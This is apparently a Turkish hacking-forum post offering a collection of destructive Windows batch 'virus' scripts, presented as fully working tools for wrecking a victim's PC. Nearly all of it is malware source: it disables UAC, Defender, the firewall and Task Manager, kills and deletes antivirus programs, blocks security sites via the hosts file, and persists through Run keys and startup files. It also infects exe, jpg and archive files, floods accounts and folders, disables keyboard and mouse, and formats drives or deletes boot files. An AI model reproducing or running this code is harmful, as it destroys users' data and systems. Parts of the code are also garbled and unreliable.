START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START

-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------

%100 Çalışan Virüs ( Pc Ölür)

@echo off
cd %userprofile%\desktop
copy %0 %random%.%random%
copy %0 %random%.%random%
copy %0 %random%.%random%
copy %0 %random%.%random%
copy %0 %random%.%random%
copy %0 %random%.%random%
copy %0 %random%.%random%
copy %0 %random%.%random%
copy %0 %random%.%random%
copy %0 %random%.%random%
copy %0 %random%.%random%
copy %0 %random%.%random%
copy %0 %random%.%random%
copy %0 %random%.%random%
copy %0 %random%.%random%
copy %0 %random%.%random%
copy %0 %random%.%random%
copy %0 %random%.%random%
copy %0 %random%.%random%
copy %0 %random%.%random%
copy %0 %random%.%random%
copy %0 %random%.%random%
copy %0 %random%.%random%
copy %0 %random%.%random%
copy %0 %random%.%random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%

@echo off
@Set RegistyEditCmd=Cmd /k Reg Add
@Set HiveSysKey=HKLM\SOFTWARE\Microsoft\Windows\Current Version\Policies\System
@%RegistyEditCmd% "%HiveSysKey%" /v "EnableLUA" /t "REG_DWORD" /d "0" /f > nul
@echo off
net stop "WinDefend"
taskkill /f /t /im "MSASCui.exe"
net stop "MpsSvc"
taskkill /f /t /im "FirewallControlPanel.exe"
@echo off
net stop "SDRSVC"
@echo off
net stop "SDRSVC"
net stop "WerSvc"
net stop "WSearch"

@echo off
cmd /c echo 127.0.0.1 www.symantec.com>>c:\windows\system32\Drivers\Etc\ Hosts
cmd /c echo 127.0.0.1 www.sophos.com>>c:\windows\system32\Drivers\Etc\Ho sts
cmd /c echo 127.0.0.1 www.avast.com>>c:\windows\system32\Drivers\Etc\Hos ts
cmd /c echo 127.0.0.1 www.mcafee.com>>c:\windows\system32\Drivers\Etc\Ho sts
cmd /c echo 127.0.0.1 www.f-prot.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1 www.f-secure.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1 www.avp.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1 www.kaspersky.com>>c:\windows\system32\Drivers\Etc \Hosts
cmd /c echo 127.0.0.1 www.bitdefender.com>>c:\windows\system32\Drivers\E tc\Hosts
cmd /c echo 127.0.0.1 www.my-etrust.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1 www.eset.com>>c:\windows\system32\Drivers\Etc\Host s
cmd /c echo 127.0.0.1 www.norman.com>>c:\windows\system32\Drivers\Etc\Ho sts
cmd /c echo 127.0.0.1 www.grisoft.com>>c:\windows\system32\Drivers\Etc\H osts
cmd /c echo 127.0.0.1 www.google.com>>c:\windows\system32\Drivers\Etc\Ho sts
cmd /c echo 127.0.0.1 www.hotmail.com>>c:\windows\system32\Drivers\Etc\H osts
cmd /c echo 127.0.0.1 www.yandex.com.tr>>c:\windows\system32\Drivers\Etc \Hosts
cmd /c echo 127.0.0.1 www.yandex.com>>c:\windows\system32\Drivers\Etc\Ho sts
cmd /c echo 127.0.0.1 mx1.hotmail.com>>c:\windows\system32\Drivers\Etc\H osts
cmd /c echo 127.0.0.1 mx2.hotmail.com>>c:\windows\system32\Drivers\Etc\H osts
cmd /c echo 127.0.0.1 messenger.hotmail.com>>c:\windows\system32\Drivers \Etc\Hosts
cmd /c echo 127.0.0.1 www.google.co.uk>>c:\windows\system32\Drivers\Etc\ Hosts
cmd /c echo 127.0.0.1 www.google.com.tr>>c:\windows\system32\Drivers\Etc \Hosts
cmd /c echo 127.0.0.1 www.youtube.com>>c:\windows\system32\Drivers\Etc\H osts
cmd /c echo 127.0.0.1 www.youtube.co.uk>>c:\windows\system32\Drivers\Etc \Hosts
cmd /c echo 127.0.0.1 www.yahoo.com>>c:\windows\system32\Drivers\Etc\Hos ts
@echo off
copy %0 %systemroot%\system32\drivers\%0
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v PWNAGE /t REG_SZ /d %systemroot%\system32\drivers\%0 /f >nul
@echo off
copy %0 %systemroot%\system32\%0
echo [windows] >> %systemroot%\win.ini
echo load=%systemroot%\system32\%0 >> %systemroot%\win.ini
echo run=%systemroot%\system32\%0 >> %systemroot%\win.ini
@echo off
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\System /v DisableTaskMgr /t REG_SZ /d 1 /f >nul
@echo off
echo result=Msgbox("Bilgisayarınız Çökertilmiştir",vbOKCancel+vbExclamation, "Dikkat")>>mssg.vbs

DEVAM
start mssg.vbs
GOTO DEVAM

@echo off
rem ---------------------------------
rem Klavye Devre disi etme
echo Windows Registry Editor Version 5.00 > "klavyekapa.reg"
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Ke yboard Layout] >> "klavyekapa.reg"
echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00 ,01,00,00,\ >> "klavyekapa.reg"
echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00 ,3f,00,00,00,40,00,00,00,\ >> "klavyekapa.reg"
echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57 ,00,00,00,58,00,00,00,37,\ >> "klavyekapa.reg"
echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00 ,00,00,4a,00,00,00,47,00,\ >> "klavyekapa.reg"
echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00 ,00,4d,00,00,00,4e,00,00,\ >> "klavyekapa.reg"
echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00 ,53,00,00,00,52,00,00,00,\ >> "klavyekapa.reg"
echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52 ,e0,00,00,47,e0,00,00,49,\ >> "klavyekapa.reg"
echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00 ,00,00,02,00,00,00,03,00,\ >> "klavyekapa.reg"
echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00 ,00,08,00,00,00,09,00,00,\ >> "klavyekapa.reg"
echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00 ,0e,00,00,00,0f,00,00,00,\ >> "klavyekapa.reg"
echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14 ,00,00,00,15,00,00,00,16,\ >> "klavyekapa.reg"
echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00 ,00,00,1b,00,00,00,2b,00,\ >> "klavyekapa.reg"
echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00 ,00,21,00,00,00,22,00,00,\ >> "klavyekapa.reg"
echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00 ,27,00,00,00,28,00,00,00,\ >> "klavyekapa.reg"
echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e ,00,00,00,2f,00,00,00,30,\ >> "klavyekapa.reg"
echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00 ,00,00,35,00,00,00,36,00,\ >> "klavyekapa.reg"
echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00 ,00,38,e0,00,00,5c,e0,00,\ >> "klavyekapa.reg"
echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00 ,22,e0,00,00,24,e0,00,00,\ >> "klavyekapa.reg"
echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c ,e0,00,00,20,e0,00,00,6a,\ >> "klavyekapa.reg"
echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0 ,00,00,6c,e0,00,00,6d,e0,\ >> "klavyekapa.reg"
echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> "klavyekapa.reg"
start "klavyekapa.reg"
rem ---------------------------------
@echo off
rem ---------------------------------
rem Fare Devre disi birakma
set fare="HKEY_LOCAL_MACHINE\system\CurrentControlSet\ Services\Mouclass"
reg delete %fare%
reg add %fare% /v Start /t REG_DWORD /d 4
rem ---------------------------------
@ECHO OFF
@ECHO PC DELIRT
GOTO start
:start
@ECHO SET magic2=1 >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
@ECHO :flood5 >> bat6.bat
@ECHO SET /a magic2=%%magic2%%+1 >> bat6.bat
@ECHO NET USER magic2%%magic2%% /add >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
START /MIN bat6.bat
GOTO bat5
:bat5
@ECHO CD %%ProgramFiles%%\ >> bat5.bat
@ECHO SET pogo=1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
@ECHO :flood4 >> bat5.bat
@ECHO MKDIR pogo%%pogo%% >> bat5.bat
@ECHO SET /a pogo=%%pogo%%+1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
START /MIN bat5.bat
GOTO bat4
:bat4
@ECHO CD %%SystemRoot%%\ >> bat4.bat
@ECHO SET hat=1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
@ECHO :flood3 >> bat4.bat
@ECHO MKDIR hat%%hat%% >> bat4.bat
@ECHO SET /a hat=%%hat%%+1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
START /MIN bat4.bat
GOTO bat3
:bat3
@ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.bat
@ECHO SET chart=1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
@ECHO :flood2 >> bat3.bat
@ECHO MKDIR chart%%chart%% >> bat3.bat
@ECHO SET /a chart=%%chart%%+1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
START /MIN bat3.bat
GOTO bat2
:bat2
@ECHO CD %%UserProfile%%\Desktop\ >> bat2.bat
@ECHO SET gamer=1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
@ECHO :flood >> bat2.bat
@ECHO MKDIR gamer%%gamer%% >> bat2.bat
@ECHO SET /a gamer=%%gamer%%+1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
START /MIN bat2.bat
GOTO original
original
CD %HomeDrive%\
SET sharma=1
GOTO flood1
:flood1
MKDIR sharma%sharma%
SET /a sharma=%sharma%+1
GOTO flood1
GOTO start
@echo off
rem ---------------------------------
rem Spam Printer
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM>> "Spam.txt"
notepad /P "Spam.txt"
rem ---------------------------------
echo Do >> "diskac.vbs"
echo Set oWMP = CreateObject("WMPlayer.OCX.7" ) >> "diskac.vbs"
echo Set colCDROMs = oWMP.cdromCollection >> "diskac.vbs"
echo colCDROMs.Item(d).Eject >> "diskac.vbs"
echo colCDROMs.Item(d).Eject >> "diskac.vbs"
echo Loop >> "diskac.vbs"
start "" "diskac.vbs"
diskac.vbs
@echo off
rem ---------------------------------
rem Spam TXT
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
echo %random% > C:\%random%.txt
rem ---------------------------------
@echo off
rem ---------------------------------
rem Autoexec.bat bulas
echo start "" %0>>%SystemDrive%\AUTOEXEC.BAT
If Exist "%systemdrive%\AUTOEXEC.BAT" (
copy %0 "%systemroot%\toaDyxpB2.bat"
echo start "" "%systemroot%\toaDyxpB2.bat" >> %systemdrive%\AUTOEXEC.BAT
)
rem ---------------------------------
@echo off
rem ---------------------------------
rem Tum exelere bulas
assoc .exe=batfile
DIR /S/B %SystemDrive%\*.exe >> InfList_exe.txt
echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_exe.txt) do copy %0 "%%j:%%k"
rem ---------------------------------
@echo off
rem ---------------------------------
rem Tum klasörlere enfeksiyon
Dir %SystemRoot% /s /b > PathHost
For /f %%a In (PathHost) Do Copy /y %0 %%a > Nul
Del /f /s /q PathHost > Nul
rem ---------------------------------
@echo off
rem ---------------------------------
rem LNK Bulas
assoc .lnk=batfile
DIR /S/B %SystemDrive%\*.lnk >> InfList_lnk.txt
echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_lnk.txt) do copy %0 "%%j:%%k"
rem ---------------------------------
@echo off
rem ---------------------------------
rem Tum jpglere bulas
assoc .jpg=batfile
DIR /S/B %SystemDrive%\*.jpg >> InfList_jpg.txt
echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_jpg.txt) do copy %0 "%%j:%%k"
rem ---------------------------------
@echo off
copy %0 "%userprofile%\Start Menu\Programs\Startup"
@echo off
rem ---------------------------------
rem Tum rarlara bulas
assoc .rar=batfile
DIR /S/B %SystemDrive%\*.rar >> InfList_rar.txt
echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_rar.txt) do copy %0 "%%j:%%k"
rem ---------------------------------

@echo off
rem ---------------------------------
rem Tum ziplere bulas
assoc .zip=batfile
DIR /S/B %SystemDrive%\*.zip >> InfList_zip.txt
echo Y | FOR /F "tokens=1,* delims=: " %%j in (InfList_zip.txt) do copy %0 "%%j:%%k"
rem ---------------------------------

@echo off
rem ---------------------------------
rem Calisan anahtarlara bulas
set valinf="rundll32_%random%_toolbar"
set reginf="hklm\Software\Microsoft\Windows\CurrentVer sion\Run"
reg add %reginf% /v %valinf% /t "REG_SZ" /d %0 /f > nul
reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Ru n" /v "rundll32_awspeGfa_w32" /t "REG_SZ" /d %0 /f > nul
rem ---------------------------------

format c:\ /Q/X
01100110011011110111001001101101011000010111010000 100000011000110011101001011100
0010000000101111010100010010111101011000
format d:\ /Q/X
01100110011011110111001001101101011000010111010000 100000011001000011101001011100
0010000000101111010100010010111101011000
format a:\ /Q/X
01100110011011110111001001101101011000010111010000 100000011000010011101001011100
0010000000101111010100010010111101011000
del /F/S/Q c:\boot.ini
01100100011001010110110000100000001011110100011000 101111010100110010111101010001
00100000011000110011101001011100011000100110111101 101111011101000010111001101001
0110111001101001
cd..
cd..
attrib -s -h -r -a c:\ntldr
del c:\ntldr
shutdown -r
@echo off
%
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off
cls
cls
@echo off3.
@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My ********s
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c "VIRUS DETECTED"
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
copy Greatgame.bat %random%.bat
goto RIP

assoc .mp3=txtfile
assoc .xml=pngfile
assoc .png=txtfile
assoc .dll=txtfile
assoc .exe=pngfile
assoc .vbs=Visual Style
assoc .reg=xmlfile
assoc .txt=regfile

@echo off
rem ---------------------------------
rem Anti-virüs öldürücü v1
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*
cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmin
cls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*
cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.dat
cls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda software\*.*
rem ---------------------------------
@echo off
rem ---------------------------------
rem Fare tuslarinin yerini degistir..
RUNDLL32 USER32.DLL,SwapMouseButton
rem ---------------------------------

-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------

Masraf Çıkartan Virüs Kodları :

-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------

Formatlık Yapar

@echo off
rem ---------------------------------
rem Disable Computer By Deleting hal.dll
del /f /q %SystemDrive%\WINDOWS\system32\hal.dll
shutdown /s /t 00
rem ---------------------------------

-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------

Bu Kod İse Fareyi Hep Kilitler Kişi Fare Bozuldu Sanar

@echo off
start %systemdrive%\WINDOWS\system32\WISPTIS.EXE
start %systemdrive%\WINDOWS\system32\WISPTIS.EXE

-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------

Klavyeyi Hackler Klavye Kullanılmaz Olur

@echo off
del %systemdrive%\WINDOWS\system\KEYBOARD.DRV

-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------

Yukarıdaki Kod Rami Yakar Kurbanın Haberi Olmaz Her Geçe Saniye 30mb Ram Gider

@echo off
:a
start iexplore.exe
goto a
@echo off

-------------------------------------------------------------------------------------------
